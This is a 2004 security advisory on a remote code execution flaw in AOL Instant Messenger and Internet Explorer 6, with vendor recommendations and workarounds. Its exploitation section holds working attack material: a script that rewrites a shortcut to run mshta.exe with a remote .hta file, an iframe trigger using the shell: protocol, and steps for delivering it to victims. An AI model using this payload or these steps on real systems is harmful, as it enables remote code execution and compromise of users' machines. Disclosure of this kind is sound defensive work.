Aol Instant Messenger/Microsoft Internet Explorer remote code execution
http://www.MichaelEvanchik.com/security/microsoft/ie/aim/aim.txt
Aol Instant Messenger/Microsoft Internet Explorer remote code execution
Feb 18, 2004
Vulnerable
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- Microsoft Internet Explorer 6.0 (lower was not tested)
- Microsoft Windows XP Pro
- Microsoft Windows XP Home
- Microsoft Windows 2003 Server Enterprise
- AOL Instant Messenger 5.5 to 4.3 tested
Not Vulnerable
--------------
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server
- Microsoft Windows 9X
Severity
---------
High - Remote code execution
In English
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There is a problem in internet explorer where a file can be displayed as
html even though
the file is not an html file. Also the file can be run in My Computer zone
where lower
restrictions apply. Aol instant messenger buddy icons (and maybe themes not
tested) is
just ONE way to get a file in a known location on the hard drive. All
environments where tested
fully patched from Windows Update and double checked with Microsoft Baseline
Security Analyzer 1.2
Tech Stuff and Explanation
--------------------------
1. Use a 3rd party Aol instant messenger client so that it allows you to import
a file that
uses a local html execution code. In my case I used...
<script>
var ok = new ActiveXObject("Shell.Application");
f = ok.NameSpace("C:\\Documents and Settings\\All Users\\Start
Menu\\Programs\\Accessories");
i= f.ParseName("Paint.lnk");
l = i.GetLink;
l.Path = "mshta.exe"
l.Arguments ="http://www.high-pow-er.com/ok.hta";
l.Save("C:\\paint.lnk");
ok.Open("C:\\paint.lnk");
</script>
2. Send an instant message to ANOTHER name on a real AOL Instant Messenger
client to YOURSELF first.
Make sure the victim (yourself in this case) is on your buddy list before
you instant message the
victim (yourself). I think that helps send the icon right away.
Then look in c:\documents and settings\username\application
data\aim\bartcache\1\
Look for the newest file that came in that directory (you can tell by
sorting by date modified)
It's usually only 1k. If your unsure, open the file in Notepad to find the
html above.
This will be the filename that EVERYONE gets. For some reason its permanent
for any AOL user every time the icon is imported.
3. Now your ready to create your html page on a web server.
In the html webpage all that is needed is simply...
<iframe src="shell:appdata\aim\bartcache\1\file name you got from
step2"></iframe>
This will not need to be changed ever again since your filename and location is
permanent for
everyone on AOL.
4. Send a message with a hyperlink to your page.
Proof of Concept?
----------------
- If the bot is online you can instant message the screen name Michael
Evanchik
but don't be lazy, just follow the instructions above [=
Vendor Recommendations
---------------------
- America Online should not use a static directory and static file names for
buddy icons.
It would also help to filter server side for malicious buddy icon content.
- Microsoft should pay BETTER people to test their software instead of rewards
for virus writers
Also the shell: protocol should not be allowed in html page or at
least consider the content Internet Zone instead of My computer Zone
Temp Fix
-------------
- Turn off buddy icons in My Aim > Edit Options > Edit Preferences > Buddy Icons
- Disable scripting in Internet Explorer
- Do not use Internet Explorer, use Mozilla Firebird (now known as FireFox
www.mozilla.org)
Credit
------
Cheng Peng Su for the shell: protocol discovery
Http equiv and jelmer for the local html execution code and examples advisories.
Liu Die Yu because of his nice webpage of bugs at http://umbrella.mx.tc/
Greets
------
- slacker my other brain
- illwill at illmob.org
- abe,rain and dolan
Contact
-------
Mike@xxxxxxxxxxxxxxxxxxx
http://www.MichaelEvanchik.com - me
http://Software.High-Pow-er.com - Need a professional programmer?
http://www.High-Pow-er.com - Other, Security, Consulting